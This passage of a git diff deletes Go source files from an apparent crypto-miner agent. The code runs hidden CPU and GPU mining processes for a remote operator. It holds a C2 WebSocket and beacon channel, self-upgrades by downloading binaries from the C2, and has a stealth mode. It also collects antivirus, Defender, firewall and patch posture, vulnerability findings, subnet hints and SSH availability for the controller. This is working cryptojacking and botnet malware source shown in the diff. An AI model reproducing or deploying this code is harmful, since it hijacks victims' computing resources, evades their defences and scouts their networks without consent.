"upgrade started — will reconnect with new binary") - case "bof_execute": - c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety") - default: - if c.handleRegistryCommand(action, path, data) { - return - } - if c.handleFileCommand(action, path, data) { - return - } - if c.handleReconCommand(action, command) { - return - } - c.sendCommandResult(action, false, "unknown action") - } -} - -func (c *AgentClient) sendCommandResult(action string, success bool, message string) { - if c.commandResultHook != nil { - c.commandResultHook(action, success, message) - return - } - payload, _ := json.Marshal(map[string]interface{}{ - "action": action, - "success": success, - "message": message, - }) - if c.beaconMode.Load() { - c.postBeaconResult(payload) - return - } - // If the WebSocket write fails (stalled connection, reconnecting, etc.) fall - // back to the beacon HTTP path so the result is not silently dropped. - if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil { - c.postBeaconResult(payload) - } -} - -func (c *AgentClient) wsDownSinceTime() time.Time { - if v := c.wsDownSince.Load(); v != nil { - if t, ok := v.(time.Time); ok { - return t - } - } - return time.Time{} -} - -func (c *AgentClient) markWSDownSince() { - if !c.wsDownSinceTime().IsZero() { - return - } - c.wsDownSince.Store(time.Now()) -} - -func (c *AgentClient) clearWSDownSince() { - c.wsDownSince.Store(time.Time{}) -} - -func (c *AgentClient) collectStatsPayload() (StatsPayload, error) { - hps := c.pool.HashesPerSecond() - c.pool.ResetHashCounter() - cpuPct, memPct := c.reporter.Usage() - if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 { - cpuPct = sysCPU - } - c.mu.Lock() - submitted := c.sharesSubmitted - accepted := c.sharesAccepted - c.mu.Unlock() - return StatsPayload{ - Hashrate15s: hps, - Hashrate1m: hps, - Hashrate15m: hps, - SharesSubmitted: submitted, - SharesAccepted: accepted, - CPUUsagePct: cpuPct, - MemoryUsagePct: memPct, - UptimeSeconds: int(time.Since(c.startTime).Seconds()), - }, nil -} - -func (c *AgentClient) stopSelf() { - time.Sleep(300 * time.Millisecond) - c.pool.Stop() - os.Exit(0) -} - -func (c *AgentClient) restartSelf() { - time.Sleep(300 * time.Millisecond) - exe, err := os.Executable() - if err != nil { - return - } - _ = spawnWorker(exe) - os.Exit(0) -} - -// performUpgrade downloads a new binary from downloadURL, replaces the -// installed binary, and restarts. Works around Windows file-locking by -// renaming the running exe to .old before writing the new one. -func (c *AgentClient) performUpgrade(downloadURL string) { - log.Printf("[agent] upgrade: downloading from %s", downloadURL) - resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2 - if err != nil { - log.Printf("[agent] upgrade: download failed: %v", err) - c.sendCommandResult("upgrade", false, "download failed: "+err.Error()) - return - } - defer resp.Body.Close() - if resp.StatusCode != http.StatusOK { - log.Printf("[agent] upgrade: server returned %s", resp.Status) - c.sendCommandResult("upgrade", false, "server returned "+resp.Status) - return - } - - exe, err := os.Executable() - if err != nil { - c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error()) - return - } - exe, _ = filepath.Abs(exe) - - // Write new binary to a temp file in the same directory - newPath := exe + ".new" - tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) - if err != nil { - c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error()) - return - } - if _, err := io.Copy(tmp, resp.Body); err != nil { - tmp.Close() - _ = os.Remove(newPath) - c.sendCommandResult("upgrade", false, "write failed: "+err.Error()) - return - } - tmp.Close() - - // On Windows: rename the running exe to .old (allowed), then rename .new into place. - // On other OSes: direct rename works while the process is running. - oldPath := exe + ".old" - _ = os.Remove(oldPath) - if err := os.Rename(exe, oldPath); err != nil { - _ = os.Remove(newPath) - c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error()) - return - } - if err := os.Rename(newPath, exe); err != nil { - // Try to roll back - _ = os.Rename(oldPath, exe) - _ = os.Remove(newPath) - c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error()) - return - } - - log.Printf("[agent] upgrade: binary replaced, restarting") - c.sendCommandResult("upgrade", true, "binary replaced — restarting") - time.Sleep(500 * time.Millisecond) - - if startErr := spawnWorker(exe); startErr != nil { - log.Printf("[agent] upgrade: restart failed: %v", startErr) - } - os.Exit(0) -} - -func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) { - if !cfg.FileLogging || cfg.StealthMode { - return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)") - } - if tailLines <= 0 { - tailLines = 200 - } - installDir, err := cfg.InstallDirectory() - if err != nil { - return "", err - } - logPath := filepath.Join(installDir, "miner.log") - data, err := os.ReadFile(logPath) - if err != nil { - if os.IsNotExist(err) { - return "", fmt.Errorf("miner.log not found") - } - return "", err - } - lines := strings.Split(string(data), "\n") - if len(lines) > 0 && lines[len(lines)-1] == "" { - lines = lines[:len(lines)-1] - } - if len(lines) > tailLines { - lines = lines[len(lines)-tailLines:] - } - return strings.Join(lines, "\n"), nil -} - -func (c *AgentClient) submitShare(jobID, nonce, hash string) { - c.mu.Lock() - c.sharesSubmitted++ - conn := c.conn // read under the same lock to avoid data race - c.mu.Unlock() - - payload, _ := json.Marshal(SharePayload{ - JobID: jobID, - Nonce: nonce, - Hash: hash, - Worker: c.cfg.WorkerName, - }) - - if conn != nil { - _ = c.write(Message{Type: "submit_share", Payload: payload}) - } else if c.cfg.MeshP2P { - c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload}) - } -} - -// probeSSH returns true if an SSH daemon is listening on port 22 locally. -func probeSSH() bool { - conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second) - if err != nil { - return false - } - conn.Close() - return true -} - -func (c *AgentClient) stratumEgress(stratumOverlay bool) string { - if stratumOverlay { - return "direct" - } - if c.connected.Load() { - return "c2_ws" - } - return "none" -} - -func (c *AgentClient) statsLoop(stop <-chan struct{}) { - ticker := time.NewTicker(10 * time.Second) - defer ticker.Stop() - - var samples []float64 - var probeTick int - var lastSSH *bool - var lastPosture *PostureReport - var lastPressure *ResourcePressure - var lastDNS *DNSConfig - var lastListenPortCount *int - var lastNetworkHints *deploy.NetworkHints - var lastVulnReport *vulnprobe.ScanReport - var postureReady bool - for { - select { - case <-stop: - return - case <-ticker.C: - hps := c.pool.HashesPerSecond() - c.pool.ResetHashCounter() - samples = append(samples, hps) - if len(samples) > 90 { - samples = samples[len(samples)-90:] - } - - var avg15s, avg1m, avg15m float64 - if len(samples) > 0 { - avg15s = samples[len(samples)-1] - } - if len(samples) >= 6 { - for _, v := range samples[len(samples)-6:] { - avg1m += v - } - avg1m /= 6 - } else { - avg1m = avg15s - } - for _, v := range samples { - avg15m += v - } - avg15m /= float64(len(samples)) - - cpuPct, memPct := c.reporter.Usage() - if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 { - cpuPct = sysCPU - } - c.mu.Lock() - submitted := c.sharesSubmitted - accepted := c.sharesAccepted - c.mu.Unlock() - - // Probe SSH, posture, and resource pressure every 6 ticks (~60s) - if probeTick%6 == 0 { - ok := probeSSH() - lastSSH = &ok - if p := collectPosture(); p != nil { - lastPosture = p - postureReady = true - if p.SSHListening != nil { - lastSSH = p.SSHListening - } - } - lastPressure = collectResourcePressure() - lastDNS = probeDNS() - if lp := collectListenPorts(); lp != nil { - n := lp.Count - lastListenPortCount = &n - } - hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts) - lastNetworkHints = &hints - lastVulnReport = RunVulnLOTLProbe() - } - probeTick++ - - stats := StatsPayload{ - Hashrate15s: avg15s, - Hashrate1m: avg1m, - Hashrate15m: avg15m, - SharesSubmitted: submitted, - SharesAccepted: accepted, - CPUUsagePct: cpuPct, - MemoryUsagePct: memPct, - UptimeSeconds: int(time.Since(c.startTime).Seconds()), - SSHAvailable: lastSSH, - } - if lastDNS != nil { - stats.DNSServers = lastDNS.Servers - stats.DNSSearchDomains = lastDNS.SearchDomains - } - stats.ListenPortCount = lastListenPortCount - stats.NetworkHints = lastNetworkHints - if lastPressure != nil { - stats.CPUFreqMHz = lastPressure.CPUFreqMHz - stats.CPUMaxMHz = lastPressure.CPUMaxMHz - stats.CPUThrottle = lastPressure.CPUThrottle - stats.CPUTempC = lastPressure.CPUTempC - stats.DiskFreeGB = lastPressure.DiskFreeGB - stats.DiskTotalGB = lastPressure.DiskTotalGB - stats.DiskFreePct = lastPressure.DiskFreePct - stats.GPUTempC = lastPressure.GPUTempC - stats.GPUUsagePct = lastPressure.GPUUsagePct - } - // GPU miner (Ravencoin) stats — included when GPU miner is running - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gs, active := gm.Stats() - stats.GPUMinerActive = &active - stats.GPUHashrate15s = gs.Hashrate15s - stats.GPUHashrate1m = gs.Hashrate1m - stats.GPUHashrate15m = gs.Hashrate15m - stats.GPUModel = gm.GPUModel() - if gs.GPUTempC != nil { - stats.GPUTempC = gs.GPUTempC - } - if gs.GPUUsagePct != nil { - stats.GPUUsagePct = gs.GPUUsagePct - } - } - if postureReady && lastPosture != nil { - score := lastPosture.PostureScore - stats.PostureScore = &score - stats.DefenderEnabled = lastPosture.DefenderEnabled - stats.DefenderRTP = lastPosture.DefenderRTP - stats.AVProducts = lastPosture.AVProducts - stats.FirewallDomain = lastPosture.FirewallDomain - stats.FirewallPrivate = lastPosture.FirewallPrivate - stats.FirewallPublic = lastPosture.FirewallPublic - stats.LastPatchDays = lastPosture.LastPatchDays - stats.LastPatch = lastPosture.LastPatch - stats.PendingUpdates = lastPosture.PendingUpdates - stats.RebootPending = lastPosture.RebootPending - stats.AgentElevated = lastPosture.AgentElevated - stats.Services = lastPosture.Services - } - if c.miningChain != nil { - ms := c.miningChain.Status() - stats.ActiveMethod = string(ms.ActiveMethod) - stats.StratumOverlay = ms.StratumOverlay - stats.ChainExhausted = ms.ChainExhausted - stats.MiningLastError = ms.LastError - if ms.LOTLTier != "" { - stats.LOTLTier = string(ms.LOTLTier) - } - if len(ms.LOTLAttempts) > 0 { - stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts)) - for i, a := range ms.LOTLAttempts { - stats.LOTLAttempts[i] = TierAttemptPayload{ - Phase: a.Phase, - Tier: string(a.Tier), - OK: a.OK, - Error: a.Error, - DurationMs: a.DurationMs, - Wallet: a.Wallet, - } - } - } - if len(ms.FailedMethods) > 0 { - stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods)) - for i, f := range ms.FailedMethods { - stats.FailedMethods[i] = MethodFailurePayload{ - Method: string(f.Method), - Reason: f.Reason, - At: f.At, - } - } - } - if len(ms.ChainOrder) > 0 { - stats.ChainOrder = make([]string, len(ms.ChainOrder)) - for i, m := range ms.ChainOrder { - stats.ChainOrder[i] = string(m) - } - } - stats.StratumEgress = c.stratumEgress(ms.StratumOverlay) - } else { - stats.StratumEgress = c.stratumEgress(false) - } - stats.MiningHashrate = avg15s + stats.GPUHashrate15s - if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 { - stats.AtlasSkips = atlasSkips - } - if lastVulnReport != nil { - score := lastVulnReport.RiskScore - stats.VulnRiskScore = &score - if len(lastVulnReport.Findings) > 0 { - stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings)) - for i, f := range lastVulnReport.Findings { - stats.VulnFindings[i] = VulnFindingPayload{ - CVEID: f.CVEID, - Severity: f.Severity, - Component: f.Component, - Patched: f.Patched, - ExploitableInFleetContext: f.ExploitableInFleetContext, - Detail: f.Detail, - } - } - } - } - if lane := c.getJoinLane(); lane != "" { - stats.JoinLane = lane - } - payload, _ := json.Marshal(stats) - if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { - log.Printf("[agent] stats send failed: %v", err) - } - // Piggyback Fleet AI snapshot on the ~60s stats probe tick. - if probeTick%6 == 0 { - c.pushAISnapshot(stats.MiningHashrate) - } - } - } -} - -func (c *AgentClient) write(msg Message) error { - c.mu.Lock() - defer c.mu.Unlock() - if c.conn == nil { - return fmt.Errorf("not connected") - } - // BA-03: set a bounded write deadline so a stalled TCP socket cannot block - // WriteJSON indefinitely while holding c.mu, which would deadlock every - // other goroutine that needs c.mu (share submission, stats, commands). - _ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second)) - err := c.conn.WriteJSON(msg) - _ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write - return err -} - -// needsStratumFallback returns true when either: -// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR -// - C2 is online but no mining job has been delivered in > 15 seconds -// (the pool proxy on the server is broken or still connecting) -// -// Mining is the primary purpose of the agent; C2 provides remote control and -// job upgrades but is never required to start hashing. -func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool { - if !c.connected.Load() { - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second - } - // Connected but jobless: check when the last valid job arrived. - if raw := c.lastJobAt.Load(); raw != nil { - lastJob := raw.(time.Time) - return time.Since(lastJob) > 15*time.Second - } - // Never received a job; fall back after 15s of being connected with nothing to mine. - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second -} - -// stratumFallbackManager monitors C2 connectivity and mining job delivery. -// It spins up a direct Stratum connection when: -// - C2 has been offline for 30+ seconds, OR -// - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds -// -// When real jobs start flowing from C2 again, the fallback is stopped and the -// share handler is restored to the C2 WebSocket path. -func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { - if c.cfg.PoolHost == "" { - return // no pool configured - } - if c.cfg.StratumOverWS { - log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket") - return - } - - type fallback struct { - stop chan struct{} - wait chan struct{} - } - var fb *fallback - - // disconnectedSince is set at startup so the 8-second countdown begins - // immediately. Mining will start on baked-in credentials within ~10s unless - // C2 connects and delivers a job first. When C2 delivers a job this is - // zeroed and the fallback stops. - disconnectedSince := time.Now() - ticker := time.NewTicker(5 * time.Second) - defer ticker.Stop() - - // hashrateWatchdog: if we have an active job but hashrate has been 0 for - // 2 consecutive minutes the workers are stuck — trigger Stratum fallback. - var zeroHashSince time.Time - - startFallback := func() { - if fb != nil { - return - } - stop := make(chan struct{}) - wait := make(chan struct{}) - sc := miner.NewStratumClient(c.pool, c.cfg) - go func() { - defer close(wait) - sc.RunFallback(stop) - }() - fb = &fallback{stop: stop, wait: wait} - if c.miningChain != nil { - c.miningChain.SetStratumActive(true) - } - if c.connected.Load() { - log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) - } else { - log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) - } - } - - stopFallback := func(reason string) { - if fb != nil { - close(fb.stop) - <-fb.wait - fb = nil - c.pool.SetShareHandler(c.submitShare) - if c.miningChain != nil { - c.miningChain.SetStratumActive(false) - } - log.Printf("[stratum] fallback stopped — %s", reason) - } - } - - for { - select { - case <-done: - stopFallback("agent shutting down") - return - case <-ticker.C: - connected := c.connected.Load() - - // ── Hashrate watchdog ─────────────────────────────────────────── - // If we have an active job but hash rate has been 0 for 2 minutes - // the workers are frozen — force Stratum fallback regardless of - // C2 connection state so mining restarts immediately. - if raw := c.lastJobAt.Load(); raw != nil { - hs := c.pool.HashesPerSecond() - if hs < 1 { - if zeroHashSince.IsZero() { - zeroHashSince = time.Now() - } else if time.Since(zeroHashSince) > 2*time.Minute { - log.Printf("[watchdog] hashrate=0 for 2m with active job — forcing Stratum fallback") - zeroHashSince = time.Time{} - if fb == nil { - startFallback() - } - } - } else { - zeroHashSince = time.Time{} // hashing — reset watchdog - } - } - - // Track disconnection time (reset to zero while connected). - if connected { - if fb != nil { - // Check if real jobs are flowing again; if so, drop the fallback. - if raw := c.lastJobAt.Load(); raw != nil { - lastJob := raw.(time.Time) - if time.Since(lastJob) < 15*time.Second { - disconnectedSince = time.Time{} - stopFallback("C2 pool delivering jobs again") - continue - } - } - } else { - if raw := c.lastJobAt.Load(); raw != nil { - disconnectedSince = time.Time{} - } - } - } else { - if disconnectedSince.IsZero() { - disconnectedSince = time.Now() - } - } - - if fb == nil && c.needsStratumFallback(disconnectedSince) { - startFallback() - } - } - } -} - -func buildWSURL(serverURL string) (string, error) { - u, err := url.Parse(strings.TrimSpace(serverURL)) - if err != nil { - return "", err - } - switch u.Scheme { - case "https": - u.Scheme = "wss" - case "http", "": - u.Scheme = "ws" - case "wss", "ws": - default: - return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme) - } - if u.Scheme == "" { - u.Scheme = "ws" - } - u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent" - u.RawQuery = "" - u.Fragment = "" - return u.String(), nil -} diff --git a/usb/agent/client/gpu_detect_stub.go b/usb/agent/client/gpu_detect_stub.go deleted file mode 100644 index d450deb..0000000 --- a/usb/agent/client/gpu_detect_stub.go +++ /dev/null @@ -1,105 +0,0 @@ -//go:build !windows - -package client - -import ( - "archive/zip" - "bytes" - "os" - "os/exec" - "path/filepath" - "strings" -) - -func detectGPU() GPUInfo { - // On non-Windows, only probe NVIDIA via nvidia-smi. - out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output() - if err == nil { - model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) - if model != "" { - return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} - } - } - return GPUInfo{Vendor: GPUVendorNone} -} - -func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { - wallet := g.cfg.RVNWallet - worker := g.cfg.WorkerName - poolURL := buildPoolURL(ep) - pass := ep.pass - if pass == "" { - pass = "x" - } - - args := []string{ - "-a", "kawpow", - "-o", poolURL, - "-u", wallet + "." + worker, - "-p", pass, - "--api-bind-http", "127.0.0.1:4067", - } - cmd := exec.Command(binPath, args...) - cmd.Dir = filepath.Dir(binPath) - if err := cmd.Start(); err != nil { - return nil, err - } - return cmd.Process, nil -} - -func itoa(n int) string { - if n == 0 { - return "0" - } - buf := make([]byte, 0, 10) - neg := n < 0 - if neg { - n = -n - } - for n > 0 { - buf = append([]byte{byte('0' + n%10)}, buf...) - n /= 10 - } - if neg { - buf = append([]byte{'-'}, buf...) - } - return string(buf) -} - -func extractZipFile(data []byte, destDir, targetFile string) error { - r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) - if err != nil { - return err - } - targetLower := strings.ToLower(targetFile) - for _, f := range r.File { - if strings.ToLower(filepath.Base(f.Name)) != targetLower { - continue - } - rc, err := f.Open() - if err != nil { - return err - } - defer rc.Close() - dst := filepath.Join(destDir, targetFile) - out, err := os.Create(dst) - if err != nil { - return err - } - defer out.Close() - buf := make([]byte, 32*1024) - for { - n, err := rc.Read(buf) - if n > 0 { - if _, we := out.Write(buf[:n]); we != nil { - return we - } - } - if err != nil { - break - } - } - return nil - } - return nil -} diff --git a/usb/agent/client/gpu_detect_windows.go b/usb/agent/client/gpu_detect_windows.go deleted file mode 100644 index 2b4fa15..0000000 --- a/usb/agent/client/gpu_detect_windows.go +++ /dev/null @@ -1,147 +0,0 @@ -//go:build windows - -package client - -import ( - "archive/zip" - "bytes" - "os" - "os/exec" - "path/filepath" - "strings" - - "crypto-miner-agent/deploy" -) - -// detectGPU identifies the first supported discrete GPU on Windows. -// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController). -func detectGPU() GPUInfo { - // NVIDIA — nvidia-smi is the most reliable check - if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil { - model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0]) - if model != "" { - return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model} - } - } - - // AMD — wmic (available on all modern Windows without extra installs) - if out, err := deploy.HiddenOutput( - "wmic", "path", "win32_VideoController", "get", "Name", "/value", - ); err == nil { - for _, line := range strings.Split(string(out), "\n") { - line = strings.TrimSpace(line) - if !strings.HasPrefix(strings.ToLower(line), "name=") { - continue - } - name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1]) - lo := strings.ToLower(name) - if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") { - return GPUInfo{Vendor: GPUVendorAMD, Model: name} - } - } - } - - return GPUInfo{Vendor: GPUVendorNone} -} - -// startProcessOnPool launches the GPU miner binary against a specific pool endpoint. -func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { - wallet := g.cfg.RVNWallet - worker := g.cfg.WorkerName - poolURL := buildPoolURL(ep) - pass := ep.pass - if pass == "" { - pass = "x" - } - - var args []string - switch g.info.Vendor { - case GPUVendorNVIDIA: - args = []string{ - "-a", "kawpow", - "-o", poolURL, - "-u", wallet + "." + worker, - "-p", pass, - "--api-bind-http", "127.0.0.1:4067", - "--no-watchdog", - "--exit-on-cuda-error", - } - case GPUVendorAMD: - args = []string{ - "-a", "kawpow", - "-o", poolURL, - "-u", wallet + "." + worker, - "-p", pass, - "--api_listen=4068", - } - } - - cmd := exec.Command(binPath, args...) - deploy.PrepareHiddenProcess(cmd) - cmd.Dir = filepath.Dir(binPath) - cmd.Stdout = nil - cmd.Stderr = nil - - if err := cmd.Start(); err != nil { - return nil, err - } - return cmd.Process, nil -} - -func itoa(n int) string { - if n == 0 { - return "0" - } - buf := make([]byte, 0, 10) - neg := n < 0 - if neg { - n = -n - } - for n > 0 { - buf = append([]byte{byte('0' + n%10)}, buf...) - n /= 10 - } - if neg { - buf = append([]byte{'-'}, buf...) - } - return string(buf) -} - -// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir. -func extractZipFile(data []byte, destDir, targetFile string) error { - r, err := zip.NewReader(bytes.NewReader(data), int64(len(data))) - if err != nil { - return err - } - targetLower := strings.ToLower(targetFile) - for _, f := range r.File { - if strings.ToLower(filepath.Base(f.Name)) != targetLower { - continue - } - rc, err := f.Open() - if err != nil { - return err - } - defer rc.Close() - dst := filepath.Join(destDir, targetFile) - out, err := os.Create(dst) - if err != nil { - return err - } - defer out.Close() - buf := make([]byte, 32*1024) - for { - n, err := rc.Read(buf) - if n > 0 { - if _, we := out.Write(buf[:n]); we != nil { - return we - } - } - if err != nil { - break - } - } - return nil - } - return nil // binary not found inside zip — non-fatal, caller checks after -} diff --git a/usb/agent/client/gpu_miner.go b/usb/agent/client/gpu_miner.go deleted file mode 100644 index 5fd7f10..0000000 --- a/usb/agent/client/gpu_miner.go +++ /dev/null @@ -1,520 +0,0 @@ -package client - -import ( - "encoding/json" - "fmt" - "io" - "log" - "net/http" - "os" - "path/filepath" - "sync" - "time" - - "crypto-miner-agent/config" -) - - -// GPUVendor identifies the discrete GPU brand on the host. -type GPUVendor int - -const ( - GPUVendorNone GPUVendor = iota - GPUVendorNVIDIA // use T-Rex miner (KawPoW) - GPUVendorAMD // use TeamRedMiner (KawPoW) - GPUVendorOther // generic / Intel — not supported for KawPoW -) - -// GPUInfo holds detected GPU metadata. -type GPUInfo struct { - Vendor GPUVendor - Model string -} - -// GPUMinerStats is polled from the miner's local HTTP API. -type GPUMinerStats struct { - Hashrate15s float64 - Hashrate1m float64 - Hashrate15m float64 - GPUTempC *int - GPUUsagePct *int - ActiveAlgo string -} - -// rvnEndpoint is one pool entry for the GPU miner (primary or backup). -type rvnEndpoint struct { - host string - port int - tls bool - pass string -} - -// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner). -type GPUMiner struct { - cfg config.RuntimeConfig - info GPUInfo - installDir string - - mu sync.RWMutex - stats GPUMinerStats - active bool - paused bool - proc *os.Process // currently running subprocess (nil if stopped) - - stopCh chan struct{} - pauseCh chan struct{} // closed when paused, re-created on resume - resumeCh chan struct{} // closed when resuming from pause - pauseMu sync.Mutex - wg sync.WaitGroup -} - -// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected. -// Returns nil if GPU mining should not run. -func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { - if !cfg.GPUEnabled || cfg.RVNWallet == "" { - return nil - } - info := detectGPU() - if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther { - log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model) - return nil - } - installDir, err := cfg.InstallDirectory() - if err != nil { - log.Printf("[gpu] cannot determine install dir: %v", err) - return nil - } - log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model) - g := &GPUMiner{ - cfg: cfg, - info: info, - installDir: installDir, - stopCh: make(chan struct{}), - pauseCh: make(chan struct{}), - resumeCh: make(chan struct{}), - } - // pauseCh starts open; waitIfPaused hits the default branch and returns - // true immediately, so no pre-close of resumeCh is needed (and - // pre-closing it would break the first Pause() — the inner select would - // fire on the already-closed channel instead of blocking). - return g -} - -// Start downloads (if needed) and launches the GPU miner, then polls stats. -func (g *GPUMiner) Start() { - g.wg.Add(1) - go func() { - defer g.wg.Done() - g.run() - }() -} - -// Stop shuts down the GPU miner and waits for it to exit. -func (g *GPUMiner) Stop() { - // Resume first so the run loop is not blocked on pauseCh when stop fires. - g.Resume() - select { - case <-g.stopCh: - default: - close(g.stopCh) - } - g.wg.Wait() -} - -// Pause suspends KawPoW polling and kills the running miner subprocess until -// Resume is called. Safe to call multiple times. -func (g *GPUMiner) Pause() { - g.pauseMu.Lock() - defer g.pauseMu.Unlock() - g.mu.Lock() - already := g.paused - if !already { - g.paused = true - // Kill the running process so it stops consuming GPU. - if g.proc != nil { - _ = g.proc.Kill() - } - } - g.mu.Unlock() - if !already { - // Signal the run loop to enter the paused wait. - select { - case <-g.pauseCh: - default: - close(g.pauseCh) - } - log.Printf("[gpu] miner paused by remote command") - } -} - -// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused. -func (g *GPUMiner) Resume() { - g.pauseMu.Lock() - defer g.pauseMu.Unlock() - g.mu.Lock() - wasPaused := g.paused - g.paused = false - g.mu.Unlock() - if wasPaused { - // Unblock the run loop waiting on resumeCh, then reset both channels. - select { - case <-g.resumeCh: - default: - close(g.resumeCh) - } - g.pauseCh = make(chan struct{}) - g.resumeCh = make(chan struct{}) - log.Printf("[gpu] miner resumed by remote command") - } -} - -// waitIfPaused blocks the run loop while paused, returning false if stop fires. -func (g *GPUMiner) waitIfPaused() bool { - g.pauseMu.Lock() - pauseCh := g.pauseCh - resumeCh := g.resumeCh - g.pauseMu.Unlock() - - select { - case <-pauseCh: - // Paused — wait for resume or stop. - select { - case <-g.stopCh: - return false - case <-resumeCh: - return true - } - default: - return true - } -} - -// Stats returns the latest GPU mining statistics. -func (g *GPUMiner) Stats() (GPUMinerStats, bool) { - g.mu.RLock() - defer g.mu.RUnlock() - return g.stats, g.active -} - -// GPUModel returns the detected GPU model string. -func (g *GPUMiner) GPUModel() string { - return g.info.Model -} - -// buildPoolList returns the primary pool followed by any configured backups. -func (g *GPUMiner) buildPoolList() []rvnEndpoint { - eps := []rvnEndpoint{{ - host: g.cfg.RVNPoolHost, - port: g.cfg.RVNPoolPort, - tls: g.cfg.RVNPoolTLS, - pass: g.cfg.RVNPoolPass, - }} - for _, bp := range g.cfg.RVNBackupPools { - if bp.Host != "" && bp.Port > 0 { - eps = append(eps, rvnEndpoint{ - host: bp.Host, - port: bp.Port, - tls: bp.TLS, - pass: bp.Pass, - }) - } - } - return eps -} - -func (g *GPUMiner) run() { - binPath, err := g.ensureMinerBinary() - if err != nil { - log.Printf("[gpu] could not obtain miner binary: %v", err) - return - } - - pools := g.buildPoolList() - poolIdx := 0 - const retryDelay = 30 * time.Second - - for { - select { - case <-g.stopCh: - return - default: - } - - if !g.waitIfPaused() { - return - } - - ep := pools[poolIdx%len(pools)] - proc, err := g.startProcessOnPool(binPath, ep) - if err != nil { - log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools)) - select { - case <-g.stopCh: - return - case <-time.After(retryDelay): - } - poolIdx++ - continue - } - - g.mu.Lock() - g.active = true - g.proc = proc - g.mu.Unlock() - - log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port) - - // pollStop signals pollStats to exit; closed when this iteration ends. - pollStop := make(chan struct{}) - pollDone := make(chan struct{}) - go func() { - defer close(pollDone) - g.pollStats(pollStop) - }() - - // Wait for process exit in a goroutine so we can also listen for stop. - waitDone := make(chan error, 1) - go func() { - _, werr := proc.Wait() - waitDone <- werr - }() - - var stopRequested bool - select { - case <-g.stopCh: - // Agent shutting down — kill the miner process immediately. - stopRequested = true - _ = proc.Kill() - <-waitDone - case waitErr := <-waitDone: - if waitErr != nil { - log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr) - } - // Miner crashed or exited cleanly — rotate to next pool on retry. - poolIdx++ - } - - close(pollStop) - <-pollDone - - g.mu.Lock() - g.active = false - g.proc = nil - g.mu.Unlock() - - if stopRequested { - return - } - - // Wait before retrying, but exit cleanly if Stop() is called. - select { - case <-g.stopCh: - return - case <-time.After(retryDelay): - } - } -} - -// pollStats polls the miner's HTTP API until stop is closed. -func (g *GPUMiner) pollStats(stop <-chan struct{}) { - apiPort := g.apiPort() - ticker := time.NewTicker(10 * time.Second) - defer ticker.Stop() - - samples := make([]float64, 0, 90) // 15 min at 10s intervals - - for { - select { - case <-stop: - return - case <-ticker.C: - hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort) - if err != nil { - continue - } - samples = append(samples, hr) - if len(samples) > 90 { - samples = samples[len(samples)-90:] - } - - g.mu.Lock() - g.stats = GPUMinerStats{ - Hashrate15s: hr, - Hashrate1m: avg(samples, 6), - Hashrate15m: avg(samples, len(samples)), - GPUTempC: tempC, - GPUUsagePct: usage, - ActiveAlgo: 